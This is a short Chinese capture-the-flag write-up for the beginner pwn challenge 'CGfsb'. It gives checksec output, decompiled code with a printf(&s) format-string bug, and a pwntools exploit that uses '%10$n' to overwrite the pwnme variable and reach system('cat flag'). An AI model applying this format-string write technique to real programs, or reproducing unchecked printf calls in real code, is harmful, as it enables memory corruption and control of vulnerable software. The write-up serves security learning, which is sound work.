『攻防世界』：新手区 | CGfsb

checksec：

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

IDA：main 利用程序中的 printf(&s)修改pwnme的值为8即可获取到flag

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int buf; // [esp+1Eh] [ebp-7Eh]
  int v5; // [esp+22h] [ebp-7Ah]
  __int16 v6; // [esp+26h] [ebp-76h]
  char s; // [esp+28h] [ebp-74h]
  unsigned int v8; // [esp+8Ch] [ebp-10h]

  v8 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  buf = 0;
  v5 = 0;
  v6 = 0;
  memset(&s, 0, 0x64u);
  puts("please tell me your name:");
  read(0, &buf, 0xAu);
  puts("leave your message please:");
  fgets(&s, 100, stdin);
  printf("hello %s", &buf);
  puts("your message is:");
  printf(&s);
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:
");
    system("cat flag");
  }
  else
  {
    puts("Thank you!");
  }
  return 0;
}

exp：

from pwn import *

io = remote('',)
payload = p32(0x0804A068) + 'aaaa' + '%10$n' #804a068是pwnme的地址，
io.sendlineafter('name:','aaa')
io.sendlineafter('please:',payload)
io.interactive()

注：

%n：将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置